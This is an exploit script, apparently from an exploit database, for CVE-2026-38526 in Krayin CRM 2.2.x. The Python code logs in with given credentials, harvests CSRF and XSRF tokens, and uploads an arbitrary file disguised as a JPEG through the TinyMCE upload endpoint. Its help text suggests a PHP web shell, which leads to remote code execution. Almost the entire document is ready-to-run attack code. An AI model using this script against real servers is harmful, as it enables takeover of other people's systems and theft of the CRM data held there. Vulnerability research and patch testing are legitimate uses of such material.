# Exploit Title:   Krayin CRM v2.2.x - Authenticated Remote Code Execution
# Date: 07/05/2026
# Exploit Author: Diamorphine
# Vendor Homepage: https://krayincrm.com
# Software Link: https://github.com/krayin/laravel-crm
# Version: 2.2.x
# Tested on: Debian
# CVE : CVE-2026-38526


import asyncio
import httpx
from urllib.parse import * 
import argparse
from bs4 import BeautifulSoup
import json


async def main(url, user, password, file):
    async with httpx.AsyncClient(verify=False) as client:
        url_login = urljoin(url, "/admin/login")
        upload_url = urljoin(url, "/admin/tinymce/upload")
        get_tokens = await client.get(url=url_login)
        soup = BeautifulSoup(get_tokens.text, 'html.parser')
        _token = soup.find('input').get('value')
     
        login_data = {
            "_token": _token,
            "email": user,
            "password": password
        }

        login_r = await client.post(url=url_login, data=login_data)
        xsrf_token = login_r.cookies.get("XSRF-TOKEN")
        headers = {
            "X-XSRF-TOKEN": unquote(xsrf_token)
        }

        with open(file, 'rb') as o_file:
            r = await client.post(url=upload_url, files={"file": (o_file.name, o_file, "image/jpeg")}, headers=headers)
            if r.status_code == 200:
                exploit_url = r.json().get('location')
                print(f'[+] File uploaded successfully.\nPath to file: {exploit_url}')
            else:
                print('[-] File not uploaded.')

parser = argparse.ArgumentParser(description="Exploit for CVE-2026-38526, authenticated file upload.")

parser.add_argument('-t', '--target', required=True, help="Target url. E.g. http://127.0.0.1")
parser.add_argument('-u', '--user', required=True, help="Email.")
parser.add_argument('-p', '--password', required=True, help="Password.")
parser.add_argument('-f', '--file', required=True, help="File to upload (/home/user/shell.php).")

args = parser.parse_args()

if __name__ == '__main__':
    asyncio.run(main(args.target, args.user, args.password, args.file))